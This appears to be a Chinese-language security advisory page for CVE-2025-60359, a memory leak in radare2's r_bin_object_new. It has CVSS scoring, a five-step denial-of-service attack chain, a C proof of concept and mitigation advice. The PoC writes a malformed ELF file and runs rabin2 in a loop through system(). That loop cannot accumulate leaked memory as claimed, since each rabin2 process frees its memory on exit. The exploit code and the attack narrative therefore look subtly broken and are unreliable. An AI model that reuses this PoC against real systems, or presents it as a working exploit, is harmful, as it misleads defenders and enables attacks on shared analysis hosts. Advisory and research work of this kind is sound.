IPBUF安全漏洞报告
English
CVE-2025-60359 CVSS 5.5 中危

CVE-2025-60359 radare2 r_bin_object_new函数内存泄漏漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-60359
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
radare2

相关标签

内存泄漏radare2拒绝服务本地攻击二进制分析逆向工程CVE-2025-60359开源工具中危漏洞

漏洞概述

CVE-2025-60359是radare2开源逆向分析框架中的一个内存泄漏漏洞,影响v5.9.8及之前版本。该漏洞存在于r_bin_object_new函数中,由于在对象创建过程中未能正确释放已分配的内存资源,导致内存泄漏问题持续累积。radare2是一款广泛使用的开源逆向工程和二进制分析工具,被安全研究人员和逆向工程师用于分析各种二进制文件格式。

根据CVSS 3.1评分体系,该漏洞评分为5.5分,属于中等严重等级。攻击向量为本地攻击(AV:L),攻击复杂度较低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。该漏洞对机密性影响较低(C:L),对完整性无影响(I:N),但对系统可用性具有较高影响(A:H),意味着攻击者可以通过反复触发该漏洞耗尽系统内存资源,最终导致系统性能下降或服务不可用。

该漏洞由CVE项目([email protected])披露,披露日期为2025年10月17日。作为一款被广泛使用的安全分析工具,radare2中的内存泄漏问题虽然不直接导致代码执行或数据泄露,但可能影响分析工作的稳定性和可靠性,特别是在处理大量二进制文件或长时间运行的自动化分析任务时。

技术细节

该漏洞的核心问题在于radare2的r_bin_object_new函数中存在的内存管理缺陷。r_bin_object_new是radare2二进制对象管理模块中的关键函数,负责在解析二进制文件时创建新的二进制对象实例。

从技术层面分析,内存泄漏通常发生在以下几种情况:1)在函数执行过程中分配了内存但在某些代码路径上没有正确释放;2)错误处理路径中遗漏了资源清理;3)循环引用导致引用计数机制失效。在r_bin_object_new函数中,当创建二进制对象时,如果遇到异常情况或特定的文件格式,分配的内存可能没有被适当地释放。

攻击者可以通过以下方式利用此漏洞:1)使用radare2或其相关工具(如rabin2)反复处理特制的恶意二进制文件,触发r_bin_object_new函数中的内存泄漏路径;2)在自动化分析环境中长时间运行radare2处理大量文件,逐步耗尽系统内存;3)通过低权限用户账户执行恶意构造的二进制文件分析任务。

由于该漏洞需要本地访问权限和低权限认证,攻击者主要限于本地用户。但在内部分析环境中,恶意用户或被入侵的低权限账户可能利用此漏洞实施拒绝服务攻击,影响其他正常用户的工作。该漏洞的修复可通过GitHub上的Pull Request #24215跟踪。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在目标系统上拥有本地访问权限和低权限账户。系统需要安装存在漏洞的radare2版本(v5.9.8或更早版本)。
STEP 2
步骤2:构造恶意输入
攻击者构造特制的二进制文件,该文件具有畸形或损坏的格式特征,能够触发r_bin_object_new函数中的内存分配路径但在异常处理时未正确释放内存。
STEP 3
步骤3:触发内存泄漏
攻击者使用radare2工具(如rabin2、r2等)反复分析构造的恶意二进制文件,每次分析都会调用r_bin_object_new函数并泄漏部分内存。
STEP 4
步骤4:资源耗尽
随着分析次数的增加,泄漏的内存不断累积,最终导致系统可用内存耗尽,系统性能下降或服务不可用,实现拒绝服务攻击效果。
STEP 5
步骤5:影响扩大
在共享分析环境或多用户系统中,内存耗尽可能影响其他正常用户的工作,导致整个分析平台不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2025-60359 PoC - radare2 r_bin_object_new Memory Leak * This PoC triggers memory leak in r_bin_object_new function * by repeatedly processing crafted binary files with radare2 tools. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* Create a minimal malformed ELF-like binary to trigger r_bin_object_new */ int create_malformed_binary(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) return -1; /* Minimal ELF header with corrupted section info to trigger leak path */ unsigned char elf_header[] = { 0x7f, 0x45, 0x4c, 0x46, /* ELF magic */ 0x02, 0x01, 0x01, 0x00, /* 64-bit, little-endian */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, /* ET_EXEC, x86-64 */ 0x01, 0x00, 0x00, 0x00, /* version */ 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; fwrite(elf_header, 1, sizeof(elf_header), fp); /* Write corrupted section headers to trigger memory leak */ unsigned char corrupted_data[4096]; memset(corrupted_data, 0xff, sizeof(corrupted_data)); fwrite(corrupted_data, 1, sizeof(corrupted_data), fp); fclose(fp); return 0; } int main(int argc, char *argv[]) { const char *binary = "/tmp/malformed_target"; int iterations = (argc > 1) ? atoi(argv[1]) : 1000; printf("[+] CVE-2025-60359 PoC - radare2 Memory Leak\n"); printf("[+] Creating malformed binary: %s\n", binary); create_malformed_binary(binary); printf("[+] Triggering memory leak via %d iterations...\n", iterations); for (int i = 0; i < iterations; i++) { /* Use rabin2 to analyze the binary, triggering r_bin_object_new */ char cmd[256]; snprintf(cmd, sizeof(cmd), "rabin2 -I %s > /dev/null 2>&1", binary); system(cmd); if (i % 100 == 0) { printf("[*] Iteration %d/%d\n", i, iterations); } } printf("[+] Done. Check system memory usage to observe leak.\n"); return 0; }

影响范围

radare2 <= 5.9.8

防御指南

临时缓解措施
在无法立即升级radare2的情况下,建议采取以下临时缓解措施:1)限制radare2进程的最大内存使用量,可使用ulimit命令设置内存限制;2)在自动化分析脚本中加入内存监控,及时检测和终止异常进程;3)定期重启radare2相关服务以释放累积泄漏的内存;4)限制低权限用户对radare2工具的访问权限;5)使用资源隔离技术(如cgroups、容器等)限制radare2的资源使用范围,防止单个任务耗尽系统资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表